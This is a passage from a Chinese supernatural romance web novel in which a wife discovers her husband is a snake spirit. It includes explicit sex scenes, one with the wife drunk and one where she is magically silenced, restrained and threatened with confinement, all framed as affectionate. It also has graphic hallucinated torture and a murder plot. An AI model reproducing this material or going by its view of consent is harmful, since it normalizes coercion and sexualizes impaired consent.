沈寂闻言再度陷入了沉默,他觉得自己实在不应该在这个时候趁人之危,但是现在送到自己面前的是香喷喷软绵绵热乎乎的乖兔子,不吃好像又实在有点可惜。 “宝宝,你自己摸摸好不好?” 沈寂思索了片刻,还是决定采取比较折中的措施,万一兰稚青明天睡醒生气他还有可以狡辩的余地。 他拉着兰稚青的手探进了裙摆,蛊惑道:“之前老公教过你的,你肯定已经学会了,对不对?” “我不会……” 兰稚青下意识用腿夹紧了他的手臂,沈寂顿了顿,他并没有这么离开,反而是反手握住了兰稚青的手指。 “好笨,今天再重新教你一次。” 沈寂按着兰稚青的手指轻轻打转,温声道:“下次不要那么用力,上一次都把自己弄肿了,要温柔一点……” 兰稚青舒服得又软成了兔兔饼,沈寂见状又按着她的手指向下移动,兰稚青有些不满,她刚刚才得了一点趣味,现在并不愿意就这么结束。 沈寂为了安抚她,只能一边继续帮她揉揉一边带着她的手指轻轻陷进湿润。 “里面是软软的热热的,对不对?” 沈寂带着她的手指找到了位置轻轻按了两下,兰稚青颤抖了一下,她不想回答,但是却被沈寂逼得只能胡乱点了点头。 “宝宝,你知道这是为什么吗?” 沈寂亲了亲她的脸颊,轻声道:“因为宝宝你是棉花糖做的。” 兰稚青呆呆地看着他,小声道:“棉花糖……我不是棉花糖座的,我是白羊座的。” “……好吧,小绵羊宝贝。” 沈寂咬了咬小绵羊软绵绵的唇瓣,他的手指逐渐深入,教导道:“再深一点就是这里,每次碰到这里你都会哭……” “不要……” 兰稚青下意识想要逃离,可是却被沈寂硬生生打断,她的手指被沈寂死死按住,有一种莫名的羞耻感包围着她,她的大脑甚至都没来得及做出更多反应,身体就已经软了下来。 她脸色潮红,趴在沈寂的怀里慢慢平复着自己的呼吸,含糊不清道:“我想喝水……” “等一下,我帮你去拿水。” 沈寂亲了亲兰稚青的脸颊,起身准备去帮兰稚青倒水,兰稚青迷迷糊糊,看到了沈寂放在旁边的酒杯,里面还有半杯清澈的透明液体。 为什么要去拿水,这里不就有现成的吗…… 兰稚青伸手拿过了酒杯,沈寂拿着一杯温水回来,看到兰稚青的动作下意识想要阻止。 “宝宝,那是我的杯子……” 沈寂话音未落,兰稚青就已经拿起杯子喝了一大口杯子里的白酒,她有些茫然地盯着手里空了的酒杯,咂了咂嘴,后知后觉道:“这杯水好苦哦。” “……” 沈寂轻轻叹了口气,他坐到兰稚青的身边把杯子里的温水喂她喝下。 “笨兔子,知道自己喝不了酒为什么还非要准备酒……” “因为我也想了解你。” 兰稚青扁了扁嘴,她轻轻蹭了蹭沈寂的手,声音微不可闻道:“你知道我的所有事情,可是我却对你一点也不了解……” 沈寂闻言动作一僵,他低头看着趴在自己怀里的兰稚青,沉默了许久才问道:“宝宝,你为什么一定要了解我呢?” “因为我爱你呀。” 兰稚青揽着沈寂的脖子亲了他一口,她弯了弯眉眼,在酒精的干预下变得坦诚无比。 沈寂被她突如其来的表白震住,他觉得自己的心好像突然被扔进了蜂蜜罐里,甜意随着他的心跳流进他的血管。 他沉默了许久,最终却只是缓缓开口道:“可是有的时候可能真相会被现实残酷很多。” “没关系,我会和你一起面对的。” 兰稚青捧着他的脸颊,格外认真道:“我可以画画养你!” “……不是这个问题,我们家还没破产。” 沈寂顿了顿,他当着兰稚青的面把自己的手放到了獬豸角上,郑重开口道:“我是蛇。” 盒子一片安静,没有任何的反应。 “你是蛇?” 兰稚青闻言眨了眨眼,她灿烂一笑,啪嗒一声按住了木盒子,含糊不清道:“那我是兔兔!” 安静木盒子在她话音刚落的瞬间又开始震动。 兰稚青吓了一跳,纳闷道:“诶……这个东西没有坏啊?” 等一下。 木盒子没坏?! 第67章 第67章你明明就记得 兰稚青和沈寂漫长地对视了一分钟,就在沈寂心紧张得几乎快要跳出来的时候,兰稚青却突然闭上了眼睛。 “我好困哦,兔兔要睡觉觉了。” 她打了个哈欠,趴在沈寂的怀里昏昏欲睡,看起来完全没把他说的话当回事。 沈寂闻言垂下了眼眸,他轻轻叹了口气,默默抱起了怀里的小醉鬼。 他帮兰稚青洗好了澡,吹干了头发,仔仔细细擦好了润肤乳,最后才抱着香喷喷的老婆躺回床上。 兰稚青早就已经呼呼大睡,她呼吸均匀,时不时还吧唧两下嘴,看起来应该是在做什么美梦。 可是沈寂却丝毫没有半分困意。 他在黑暗中沉默盯着兰稚青的面容,他小心翼翼伸出手指碰了碰她的脸颊,心里陡然升起来前所未有的慌张。 明明他们的生活才刚刚走向正轨,难道就要这么随随便便地结束了吗? 兰稚青明明说过要一直爱他的…… 难道生下来就是蛇是他的错吗?如果不是因为条件不允许,谁会不想做一个好人呢。 沈寂觉得有点伤心,他擦了擦自己脸上的眼泪,从旁边拿起了自己的手机,打算借此为背景写下一篇荡气回肠潸然泪下感天动地的绝世虐文。 虽然是虐文,但是结局必须是HE。 他和兰稚青的爱情故事绝对不能出现任何BE或OE的情况。 沈寂一夜未眠,兰稚青却一觉睡到了天亮,她起床一睁眼就看到了直勾勾盯着她的沈寂,她吓了一跳,结结巴巴道:“怎么了……你为什么一直看着我。” 沈寂脸色有些微微的苍白,看起来隐隐有些许脆弱的破碎感,他抿了抿唇,犹豫许久才开口问道:“昨天晚上的事情……” “昨天晚上?” 兰稚青打了个哈欠,她揉了揉自己的脑袋,思索了许久也没想明白沈寂在说什么,她迷茫道:“昨天晚上发生什么了吗?我好像喝醉之后什么都不记得了。” “……没什么,你不记得就算了。” 沈寂不知自己是该失望还是该庆幸,他盯着兰稚青半晌,最终还是主动岔开了话题。 “宝宝,时间还早,我们再睡一会儿吧……” 他凑过去想要抱住兰稚青,可是兰稚青却突然像条灵活的小鱼一样从被子里挣脱出去。 “我不睡了,我论文还没写完呢,我先去书房写一会儿论文。” “……” 沈寂盯着她的背影再度陷入了沉默,他垂下了眼眸,无意识攥紧了自己的手指。 骗子。 如果她什么都不记得,那为什么还要躲着他呢。 …… “令郎的精神状态不太好,甚至还出现 了伤人倾向,为了保险起见,我建议你们带他去做更详细的检查。” 医生把相关的注意事项一一告诉了路锡鸣的父母,路父路母眉头紧缩,医生才刚刚关门离开,他们就忍无可忍地吵了起来。 “这都是些什么事啊,天天进派出所就算了,难不成我们家还要出个精神病不成?” “你能不能小点声,这还不都是你害得,要不是你们老路家基因不好,小鸣怎么可能会变成这样。” “我们家基因不好,那你们家基因就很好了?你别以为我不知道你在外面和那个小白脸乱搞花头……” 父母的争吵声一声接着一声地传进他的脑中,躺在病床上的路锡鸣呆滞盯着天花板,只觉得自己的太阳穴涨得生疼。 那天他在咖啡馆里失控袭击了沈寂,不仅没有讨到半点好处,反倒是把自己折腾进了派出所,路父路母赔偿了咖啡馆的损失和沈寂律师要求的精神损失费,又花了好大一番心力疏通关系,最后才以路锡鸣疑似有精神疾病为由把他捞了出来。 精神疾病…… 他觉得在这样下去自己真的要成精神病了。 只要他闭上眼睛,就能感受到无数恶心恐怖的蟑螂在他的身上四处爬行,他几乎夜夜失眠,即使吃了安眠药勉强闭眼,梦里也都是粘稠的鲜血和死去的冤魂。 不对,那根本就不是梦,梦里是不应该有知觉的,可是他却能真的感受到那股强烈的窒息感和疼痛感。 他看到了早就死去的韩晓,谭钰琳,还有李杰和于琦,他们都站在他的床头,问他为什么要这么做。 为什么,还能是因为什么,当然是因为他们蠢! “你好,到时间需要换药了。” 医生带着几个护士推着药车走到了他的床边,路锡鸣懒得搭理他们,他只感受到自己的双手被轻柔地提起,下一秒就被拷在了床头。 他猛然睁开了眼睛,发现那些穿着白大褂和护士服的医护人员面容逐渐变得扭曲,像是一块橡皮泥,在融化之后重新凝成了新的形状。 “是你……是你们?!” “没错,就是我们。” 穿着白大褂的韩晓笑眯眯拿出了一把锋利的剪刀,幽幽道:“原来你还记得我啊,你在背后造我的谣,害我被所有人孤立欺负,甚至还把这些事捅到了我们村里,害我这辈子都抬不起头,这些事情你还记得吗?” 他握紧那把锋利的剪刀,直接刺进了路锡鸣的肚皮,咔嚓咔嚓剪开了他的皮肉。 路锡鸣痛得惨叫不止,他宁可自己现在就晕过去,可是偏偏又清醒无比。 “你很疼吗,我跳楼的时候比你更疼。” 谭钰琳拿出了一把小小的手术刀,直接割向了他的脸,阴森森道:“你教我前男友PUA我,让他拍我的照片,拿我的钱,你有没有想过现在会落在我的手里。” “我错了,我错了……我再也不敢了!” 鲜血滴答滴答落在了路锡鸣的眼睛里,他觉得自己的面前一片血红,在极度的疼痛之下,他甚至已经感受不到自己被人缓缓注射了针剂。 “我把得了艾滋梅毒乙肝的病人的血注射给你了。” 李杰的手里拿着空着的针管,笑嘻嘻道:“你千万别死啊,你要是死了那得多可惜。” 路锡鸣试图挣扎,可是下一秒面容尽毁的于琦就已经站在他的面前,他低头俯视着他,路锡鸣甚至能感受到他脸上烂掉的血肉掉落在自己的身上。 “你杀了我,还毁了我的脸,因为你就是个丑八怪,你是在嫉妒……” “我不是……啊!” “怎么了小鸣?” 路父路母听到了动静连忙结束了争吵,他们连忙过去查看路锡鸣的情况,却发现路锡鸣痛苦地倒在地上抽搐,手里甚至还握着一支圆珠笔,下一秒就要往自己的眼珠上刺。 “小鸣,你冷静一点!” 路母吓了一跳,她连忙上前按住了路锡鸣的手,从他的手上夺下了那支圆珠笔,抱着他痛哭出声,“你到底是怎么了,怎么突然变成这样了……” “妈,我好疼,他们要过来杀我了,他们变成鬼要回来杀我了!” 路锡鸣吓得一直在打哆嗦,他死死握着路母的衣袖,茫然盯着虚空里的一点,脸上的表情由惊讶到愤怒,再到最后的恐慌。 他看到沈寂就站在他的面前,他还是那副事事都游刃有余的作态,明明周遭满是他身上溅出来的鲜血,可是他却丝毫没有沾染半分。 他用一直鄙夷而又轻蔑的眼神打量着路锡鸣,像是在无声告诉他所有的一切都是自己的所作所为。 路锡鸣想要张嘴骂人,可是下一刻,他面前的沈寂就突然化成了一条巨蟒朝他张开了血盆大口! “啊!” 刚刚才安静下来的路锡鸣突然又开始尖叫,路母吓了一跳,连忙按下了传呼铃,想要让医生过来再给路锡鸣补一针镇定剂。 “是沈寂在害我!都是沈寂在害我!” 路锡鸣像是陡然间抓住了救命稻草,他在一瞬间突然意识到之前于琦为什么会那么固执说是沈寂开车撞他,他死死抓着路母的手,声嘶力竭道:“他刚刚就在我的面前!” “你这孩子,怎么又开始说胡话了,这里除了我和你爸哪里还有其他的人。” 医生过来的速度很快,他们从路母的手中接过已经意识混乱的路锡鸣,将针筒里的镇定剂推入了他的血管。 路父和路母彼此之间交换了一个复杂的眼神,最后还是路父率先开口道:“我看着他这个样子像是中了什么邪,不然还是请大师过来看看吧?” 路母闻言叹了口气,低声道:“现在也只能这样了,你赶紧让人去联系一下……” 镇定剂刚刚开始起效果的那几秒是路锡鸣最清醒的时间,他觉得自己的手脚开始发软,过度紧张的大脑也开始渐渐放松,仿佛刚刚发生的一切都只是他的噩梦。 路锡鸣有些疲惫地拿起了自己放在床头的手机,开机之后一堆消息像是疯了一样涌了上来,有不少人给他转了帖子,与其说是想要关心他,倒不如说是为了看他的笑话。 路锡鸣迟疑了许久才终于点开,发现他满身蟑螂发疯的视频和照片被人放到了网上。 那些人都说他是千年难遇的蟑螂男,还有所谓的知情人士出来爆料,说他其实是梅毒晚期精神错乱,所以才会突然暴起伤人。 这群贱人……全都是一群贱人! 路锡鸣表情狰狞地划走了网页,却发现兰智正又给他发来了一连串的消息,似乎是由于路锡鸣一直没有回复他的消息,他已经匿名向警方提交了一份不痛不痒的证据作为威胁。 【鸣哥,我发现我真的是小瞧了,没想到于琦也是你杀的啊,我说你怎么临近过年跑来F市,原来不是为了和我面基,是打算弄死于琦嫁祸给兰稚青啊,你可真够能装的。】 【你身上现在可是背了四条人命,价格是不是也得酌情给开的更高一点?】 【要是拿不出来钱也不要紧,这笔钱我也可以去找叔叔阿姨要,相信他们肯定会愿意帮你出钱的。】 兰智正…… 早知道他就应该先杀了兰智正才对。 路锡鸣觉得自己刚刚平复的情绪又濒临崩溃,他直接将自己的手机朝墙上扔了过去,嘴里发出一声接着一声的嘶吼。 “不是都已经打了针吗,怎么还是这么疯?” 路母今天是真的被路锡鸣给吓到了,她连忙让医生过来再给路锡鸣补一针,对身旁的路父催促道:“正泽大师联系到没有,赶紧让他过来给小鸣看看!” “别催了!一天到晚就知道催催催,不知道的还以为你是在催命,秘书说已经在路上了。” “你什么态度啊,问你两句你就翻脸,要不是因为有你这个爹,小鸣他会变成这样吗?” “这又关我什么事,你别把所有的错都往我的身上推!” 路父路母在医院走廊里就这么吵了起来,路过的人纷纷侧目 而视,纪云飞本来还没有摸清楚路锡鸣的病房到底在哪里,但是听到熟悉的大嗓门立马就抓住了重点。 “师兄,应该是在那边。” 路父路母在走廊上吵得没完没了,听到轮椅的声音下意识转过了头,看到来人后脸上立马挂上了恭谨的笑容。 “大师,您来了。” 他们口中的大师是一个坐在轮椅上的干瘪老头,他看起来大概有七八十岁,或者也有可能是九十岁一百岁,他的身上穿着厚重的衣衫,整个人形似骷髅一般可怕,薄薄的眼皮只有在看人的时候才会偶然掀开看别人一眼。 纪云飞和另外三名师兄跟在他的身后,按照他的指示将他推进了路锡鸣的病房。 “大师,您可一定要帮犬子看一看,他可能是被什么不干净的东西缠上了,明明之前还好好的,现在一下子就变成这样了……” 路父路母早些年还是不信这些的,可是随着自己的生意越做越大,他们也不由得跟着一起相信这些鬼神之说。 这正泽大师虽然看着可怖,但的确担得起一声大师,若无交情和缘分,他是轻易不会出面的,这回愿意过来帮路锡鸣,已经是万幸中的万幸了。 路锡鸣被打了两针,原本躺在床上昏昏欲睡,听到声音才勉强睁开眼睛,在人群中果断捕捉到了那团乱糟糟的绿毛。 “……是你!” 路锡鸣瞪大了双眼,他手指颤抖指向纪云飞,声嘶力竭道:“你是沈寂派过来的对不对!你给我滚!赶紧给我滚!” “小鸣!你怎么能这么说话……” 纪云飞看到路锡鸣倒是格外淡定,他友善地笑了笑,开口道:“没事没事,我之前可能和小路先生有点误会,我先出去吧。” 轻阖着双眼的正泽大师闻言点了点头,纪云飞和身旁的师兄交代了几句,自己默默从病房退了出去。 这样也正好,他还不想看见路锡鸣那张脸,不然一看到就想起那天到处乱爬的蟑螂。 纪云飞想到那天的景象不由得又起了一身的鸡皮疙瘩,他坐在病房外的椅子上玩手机,看到手机上突然发来的消息神色突然一怔。 他给自己的师兄发了消息说自己要离开一会儿,而后坐电梯急匆匆下楼。 兰稚青刚刚打车到医院门口,看到纪云飞那头扎眼的发色连忙跑了过去。 纪云飞看到兰稚青一个人过来明显有些诧异,他环视了一圈周遭的情况,奇怪道:“你老公今天没和你一起来啊?” 他顿了顿,神色有些了然,反问道:“你这次想通了?” “他今天有课,我一个人来的。” 兰稚青闻言神色似乎有些心虚,她从自己的口袋里拿出了纪云飞当初给她的那块桃木牌,一把塞到了他的手里,小声道:“这个还给你。” 纪云飞本来还以为兰稚青是愿意相信他的说辞,没想到她反而把那块桃木牌给送了回来。 “这块桃木牌可是正经法器,是可以驱鬼辟邪的!” 纪云飞以为自己又被兰稚青怀疑诈骗,他连忙为自己辩解,“我真的和我奶奶不一样,我这个可是真的。” “我知道,所以我才要还给你,我不要这个东西。” 兰稚青翻箱倒柜半天才终于把这块木牌找到,她本来想直接丢掉,但是觉得保险起见,还是送还给纪云飞比较好。 纪云飞欲言又止,他看起来似乎还想说些什么,可是兰稚青却毫不犹豫转身离开,好像特地过来一次就是为了把这块桃木牌送还给他。 兰稚青来得很突然,走的时候也同样很急,按照她原本的计划,她回家的时间一定是会早于沈寂下课的时间。 可是她低估了A市工作日晚高峰的堵车程度,等到她终于赶回家的时候,沈寂已经系着围裙在厨房做饭了。 “宝宝,你回来了。” 兰稚青看到出现在玄关的沈寂吓了一跳,她神色闪过些许的慌乱,结结巴巴道:“你……你下课这么早啊。” “今天是正常时间下的课。” 沈寂垂眸看了一眼兰稚青,主动帮她脱下了身上的外套,随口问道:“你去哪里了,我给你发消息你也没回。” “我写论文写累了,看网上说最近学校附近的公园桃花开了,所以就过去看看,对了……你今天晚上做的什么菜,好香啊。” 兰稚青随便扯了一个谎话,她自顾自朝厨房走去,想要掩饰自己的心虚。 沈寂对此不置可否,他看着兰稚青的背影半晌,低头闻了闻她的外套,眼底划过一丝不易察觉的委屈和失望。 小骗子,又在撒谎了。 她明明就是偷偷去见那个绿毛道士了。 所有的一切好像都没有发生变化,但是又好像所有的一切都变了。 他们在一起吃饭,一起聊天,看起来和从前没有任何的区别。 可是沈寂却还是能察觉到微妙的差异,兰稚青开始回避他的问题,大部分的时间她都一直捧着手机不停打字,吃饭的时候她破天荒开始吃自己不喜欢吃的蔬菜和营养补剂,就连生物钟也开始切换成了早睡早起的模式。 更可怕的是,她连写论文的效率都大幅度提升了,三天的时间写了一个周的量。 尽管她还会和自己亲亲抱抱,可是沈寂还是觉得自己受到了前所未有的冷落。 “宝宝,你最近怎么一直不理我了……” 沈寂从她的脸颊一路亲到了锁骨,他的手甚至已经轻轻解开了兰稚青的睡衣扣子,可是却在最后一步的时候被兰稚青推开。 “等一下,我论文还有一点点就可以收尾了,我先去写完。” “……” 沈寂眼睁睁看着兰稚青穿上衣服抱着电脑又是一通噼里啪啦,他自己委屈地躺在床上,眼泪一直在眼眶里打转。 兰稚青似乎也意识到自己最近对沈寂的冷落,她把写完的论文在第一时间给导师发了过去,默默凑到了沈寂的身边,主动道:“明天我们一起去公园看花好不好?” 沈寂闻言沉默不语,兰稚青顿了顿,她轻轻亲了亲沈寂的脸颊,让步道:“不喜欢公园的话我们也可以去游乐园,你不是一直想去的吗?” “……那你明天要穿我挑的衣服。” “嗯,我都听你的。” 兰稚青钻进了沈寂的怀里,这两天养成的良好生物钟让她得以很快进入梦乡,可是沈寂却不一样,他开始觉得患得患失,即使现在兰稚青正在他的怀里他也无法彻底安心。 他埋在她的颈窝呼吸着她身上的香气,试图让自己躁动焦虑的心平静下来。 可是这样还远远不够…… 沈寂轻轻咬了咬她的锁骨,发现兰稚青没什么反应,干脆一路向下。 兰稚青在睡意朦胧中似乎感受到了逐渐攀升的热度,她无意识哼唧了两声,含含糊糊道:“不要了……” 沈寂闻言不仅没有停下,反而是得寸进尺重重咬了她一口。 兰稚青在强烈的刺激下被迫睁开眼睛,沈寂见状不仅毫不慌乱,反而是侧头又咬了一口她的大腿内侧,像是挑衅一样和兰稚青对上了视线。 “……” 兰稚青沉默片刻,决定闭上眼睛继续装死。 沈寂没能得到自己想要的反应,他心里既委屈又失落,既失落又气恼,既气恼又伤心,兰稚青既然不搭理他,他只能自己恶狠狠地吃自助。 可是兰稚青是真的觉得累了,她花了三天的时间把自己看起来像牛粪的毕业论文插上了一支玫瑰花伪装成艺术品。 可是沈寂似乎很在意这件事,兰稚青第二天早上腰酸背痛的睡醒,发现他脸色苍白,眼圈微红,像是受了什么极大的打击。 “……” 可是昨天晚上明明是她比较吃亏吧?! 兰稚青觉得沈寂最近也有些奇怪的不对劲,如果放在从前,她今天或许会对沈寂耍赖把今天的约会鸽掉,但是看沈寂这幅样子,她觉得自己上一秒说不去,下一秒沈寂就会自杀给她看。 按照两人昨天晚上的约定,兰稚青穿 上了和沈寂色系配套的情侣装,两个人一起去市里去年新开的游乐园。 一路上两个人都没有说话,明明他们昨天还睡在同一张床上,今天更是要一起出门约会,可是彼此却像是陷入了某种诡异的冷战氛围。 沈寂在等着兰稚青先开口说话,兰稚青……兰稚青一上车就又开始呼呼大睡,直到快到目的地的时候才悠悠转醒。 “这么快就到了吗……” 兰稚青打了个哈欠,她扫了一眼外面停靠的车辆,随口道:“果然不能在双休日的时候出来,人太多了。” 沈寂没有说话,他像是似乎察觉到了什么,回头朝远处看了一眼。 兰稚青对所有的一切都毫无察觉,她牵着沈寂的手等对面的绿灯亮起。 可也几乎就是在两人刚刚踏上人行道的瞬间,不远处一辆白色的卡车像是疯了一样直接朝他们的方向撞了过来。 沈寂侧头看了一眼,而后在第一时间把兰稚青推开。 砰—— 剧烈的碰撞声响起。 路锡鸣猛然踩下刹车,可是一切都为时已晚,沈寂满身鲜血地倒在了路中央,看起来已经失去了呼吸。 周遭的人群都被吓到,连忙报警和叫救护车。 兰稚青摔在地上后知后觉意识到发生了什么,她连忙起身跑到沈寂的面前试图查看他的情况,沈寂双眸紧闭,呼吸已经变得微不可闻。 “沈寂……沈寂,你快醒醒!” 兰稚青从未像现在这么绝望,巨大的恐慌感紧紧包围着她,她紧紧抱着怀里的沈寂,眼泪不受控制地落下。 “不好意思这位女士,我们先送这位先生上救护车。” 几个医护人员把沈寂抬上了担架,兰稚青踉跄着跟在他们的身后,幸好被旁边的护士扶了一把才没有摔倒在地上。 匆匆赶到的警察第一时间抓捕了路锡鸣,路锡鸣撕心裂肺地朝着他们怒吼了几声,可是兰稚青却什么都听不清了。 她像是行尸走肉一样站在医院的抢救室,刺眼的红色“抢救中”按钮让她不由自主地又掉下眼泪。 不知道等了多久,那扇像是永远不会打开的门才终于打开。 医生匆匆走出抢救室,他对着守在外面的兰稚青轻轻摇了摇头,“抱歉,我们已经尽力了……” 兰稚青大脑一片空白,她慌张起身想要冲进抢救室查看沈寂的情况,可是下一秒眼前一黑,彻底失去了意识。 …… 好热。 她这是在哪里…… 兰稚青有些迷茫地睁开眼睛,看到眼前陌生的房间,脑子还带着些许的懵然。 这里是哪里,她不是在医院吗? “醒了?” 熟悉的声音突然从旁边传来,兰稚青下意识回过了头,猝不及防对上了沈寂平静的面容。 她有些迟钝地眨了眨眼,甚至伸出手指重重地掐了自己一把,剧烈的疼痛感让她终于回过神来。 等一下,这不是在做梦。 沈寂还活着…… 这到底是怎么一回事。 她只听说过猫有九条命,难道蛇也有九条命吗? 沈寂似笑非笑地侧头看她,问道:“宝宝,你难道没有什么话想和我说吗?” 兰稚青张了张嘴,她觉得自己现在满腹疑问,比如沈寂死而复生,他们现在到底是在哪里,所有的一切都像是个一团迷雾。 可是沈寂却似乎已经不想在等她的回答了,他轻轻贴紧了兰稚青,轻声道:“其实你根本都记得吧?” 兰稚青闻言一僵,她的视线缓缓下移,发现一条白色的蛇尾已经紧紧缠住了她。 沈寂那张漂亮的面容还带着笑意,他慢条斯理地拆穿兰稚青的伪装,轻声道:“你明明就记得,我是蛇。” 第68章 第68章让蛇怪不好意思的 “我……我不知道你在说什么……” 兰稚青还想要狡辩,可是沈寂却直接开口拆穿了她的谎话,他抬手轻轻掐住了她的脸颊,慢吞吞道:“乖宝,你知道吗,每次你撒谎的时候眼神都会发飘。” 他指尖的力道微微加重,微凉的蛇尾更是威胁性地缠上了兰稚青的小腿。 “为什么要撒谎,你讨厌我?” 兰稚青被他捏住脸颊,说话都变得有些含糊,辩解道:“我不是讨厌你,我就是有点害怕……” 沈寂闻言眼底划过一丝不易察觉的失望,“害怕……你现在开始怕我了吗,就因为我不是人类?” “不是……我不是这个意思……唔唔?!” 兰稚青话说到一半突然哑了声音,她难以置信地张嘴,可是却发现自己只能发出细碎的呜咽声。 “小骗子,再也不要听你说话了。” 沈寂愤恨地咬了一口她的脸颊,兰稚青在他怀里扭来扭去,她试图用手语表达自己的意思,但是非常悲哀地发现自己除了会个别国际通用友好手势之外什么都不会。 她一时欲哭无泪,下意识想要四处寻找自己的手机,可是刚刚起身却又被沈寂的蛇尾拖了回去。 小骗子,喜欢他为什么还要说害怕,为什么又要去找那个该死的绿毛道士。 可是如果不喜欢他为什么看到他死掉了还要哭得那么伤心。 沈寂有些气恼地咬着她的唇瓣,兰稚青实在没办法,毕竟是自己撒谎在先,她自觉心虚,只能顺势揽住了他的脖颈,非常乖觉地让他亲亲,试图借此平复沈寂的情绪。 她的脑子还有些乱乱的,这一切的发展实在太过突然,直接把她打了个措手不及。 沈寂不是人也就算了,为什么还真的会法术啊?! 等一下,既然都不能用唯物视角看待了,怪不得之前于琦说沈寂开车撞他的时候沈寂还有不在场证明。 如果妖怪都这样做的话,那是不是杀人了也抓不到现行…… 沈寂发现兰稚青又在偷偷走神,他有些不太高兴地皱了皱眉,一条半透明的小蛇悄悄从他的指尖冒出,顺着兰稚青的睡衣无声无息钻了进去。 小蛇找准位置轻轻咬了一口,兰稚青闷哼了一声,火辣辣的感觉在几秒后变成了奇怪的酥麻感,她觉得自己四肢都紧跟着软了下来。 clitoris变成了熟透的浆果,他只是用指尖轻轻戳了一下,兰稚青就浑身颤抖。 他慢吞吞收回了自己的手指,眉眼弯弯道:“这下真的没办法缩回去了哦。” “唔?……唔唔唔?!” 兰稚青下意识想要夹紧双腿,可是敏感的位置光是碰到就让她濒临崩溃,她的大腿不经意间擦过了蛇尾,奇怪的触感让她下意识低下了头,看清自己刚刚碰到了什么顿时瞪大了眼睛。 真……真的有倒刺,而且还是双数。 兰稚青吓得想要从沈寂的身上爬下去,可是沈寂的蛇尾却牢牢锁住了她,她连挣扎都没办法挣扎,只能像只被抓住耳朵的兔子一样瑟缩地趴在沈寂的怀里。 可是她还是和兔子不一样,兔子被逼急了还能叫两声,她现在除了哼哼唧唧以外连句完整的话都说不出来。 她最害怕的事情还是发生了。 如果真的一起进去的话,那她真的会死掉的…… 兰稚青吓得瑟瑟发抖,沈寂却似乎真的在研究怎么继续下去。 他的手在她的身上不停作乱,过度紧张的兰稚青就像是被过山车带到了半空,她可怜巴巴地看着沈寂,试图让他心慈手软。 沈寂没有说话,他的指尖把玩着那颗红润的浆果,直到把兰稚青逼出眼泪才肯罢休。 兰稚青呜咽了两声,可是最终还是无法逃出困境,只能像一条脱水的鱼一样在沈寂的怀里扭来扭去。 那两根危险的东西还在若有若无地擦过她的皮肤,受到威胁的兰稚青大脑飞速旋转,而后下意识伸手握住了它们。 “……” 沈寂也没想到兰稚青会做出这种事情,他的动作猛然一僵,看向她的表情都变得有些意味深长。 兰稚青顾不上那么多,她胡乱摸了两把,试图努力让自己忽视掌心诡异的触感。 “好笨……” 沈寂轻轻叹了口气,他拂开了兰稚青的手,抱着她换了个姿势。 兰稚青还未来得及反应过来,猛然被外物侵入的感觉让她毛骨悚然,脑中在下一秒便陡然炸开了烟花。 好……好像进去的时候是没有倒刺的…… 兰稚青怯生生地低头看了一眼,还未来得及松一口气,却发现自己还红肿的clitoris直直对上了另一根裸露在外面的坏东西。 坏东西上还有未收回去的倒刺,看起来非常的危险,兰稚青下意识想要往后躲,可是只要她一有想躲的倾向,沈寂的蛇尾就会警告性地打她的屁股。 兰稚青进 退两难,她呜咽地去亲沈寂,试图借此让他心软,可是却没想到沈寂直接按住了她的腰。 细密的倒刺随着动作划过,兰稚青惊叫了一声,像是盛满水的气球扎破一个口子,突然间水花四溅。 “唔唔……唔唔呜呜呜呜……” 兰稚青没办法说话,就连哭都没什么动静,她趴在沈寂的身上抹着眼泪,可是沈寂却还不肯放过她,直接把她翻过来覆过去啃了好几遍。 “宝宝,想说话吗?” 似乎是怒火稍微消减了一些,沈寂在她的肩头意犹未尽咬牙一个牙印,态度突然间又变得温柔了起来。 哭得抽抽噎噎的兰稚青闻言连忙点了点头,可是又后知后觉意识到了什么,又有些迟疑地摇头。 根据她对沈寂的了解,他肯定会提出更过分的要求来做交换。 沈寂的确也是这么想的,他深谙一兔多吃的流程,并且非常公平公正,一根吃完马上换另一根吃,先空口吃兔兔尝尝味道,再上点道具撒点调料,最后再趁着洗澡吃一遍水煮兔兔。 可怜的兔兔被邪恶的蛇妖玩弄在鼓掌之中。 兰稚青觉得自己已经无数次被逼到极限,沈寂一直凑在她的耳边说话,她听得迷迷糊糊的,可是却又不敢走神。 “乖乖,我给你准备的新房子,你喜欢吗?” 沈寂突然收起了自己的蛇尾,起身抱着她下床,把她抵在了冰凉的落地窗前。 兰稚青的皮肤猝不及防接触到了玻璃,她打了一个冷颤,下意识想要往沈寂的怀里钻。 沈寂捏住了她的脸颊,冷声道:“我要把你关起来,以后每天你只能待在这个小庄园里,只有我在你身边的时候你才可以出门。” “……唔?” 兰稚青闻言愣了一下,她有些疑惑地眨了眨眼。 待在家里有吃有喝,整天上网冲浪,没有社交活动,偶尔跟着沈寂出门乱逛。 除了待的地方从别墅变成庄园,这和她之前的生活有什么区别吗? 沈寂对兰稚青放下了狠话,他带着兔兔探索新家的方式就是换各种地方把她从头到尾吃个遍,直到最后兔兔晕过去了才终于善罢甘休。 他冷脸帮兰稚青洗好了澡,冷脸给她吹干了头发,冷脸给她抹香香,冷脸抱着她上床睡觉。 兰稚青实在是筋疲力尽,她趴在沈寂的怀里睡得正香,梦里还在哼哼唧唧不知道是在说什么。 “坏兔子……” 沈寂本来还想再咬她的脸颊,可是最后还是在她的额头上落下浅浅的一吻。 兰稚青梦里梦到自己被一条大白蛇一直追,她越跑越累,到最后实在跑不动了,被埋伏在山洞里的白蛇抓住,直接带回了蛇窝。 车祸的事情还没有彻底解决,沈寂第二天一大早就要离开,但是为了保险起见,他还是决定留一个分身待在兰稚青的身边。 不过经过实验,一百年的太蠢,容易坏事。 但三百年的就已经会化形了,太有脑子也不好。 所以折中的话只能选二百年的分身…… 沈寂本来想要叫醒兰稚青,但是看她睡得正熟,最终还是作罢,只把蛇分身留在了室内,给兰稚青的手机上发了条消息。 分身2.0大白蛇安静盘踞在床尾,直到沈寂恋恋不舍地关门离开,它才慢吞吞移动到了兰稚青的身旁,歪着脑袋好奇打量着她。 原来他的伴侣是这个样子的。 就是年龄好像有点小,还没有超过一百岁,算是一条宝宝蛇,不过闻起来确实香香的…… 它吐着蛇信绕着兰稚青转了一圈,越看越觉得可爱,干脆主动趴到了她的身边感受着她的呼吸,满心雀跃等着她醒来。 兰稚青迷迷糊糊感受到自己身边有东西靠了过来,她迷迷糊糊睁开眼睛,看到了一条大白蛇趴在旁边,她哼唧了一声,以为这是沈寂的本体,所以下意识抱了上去,含糊不清道:“老公,我还想再睡一会儿……” 大白蛇吓了一跳,它有些害羞得扭了扭身子,蛇尾顺势缠上了兰稚青的小腿。 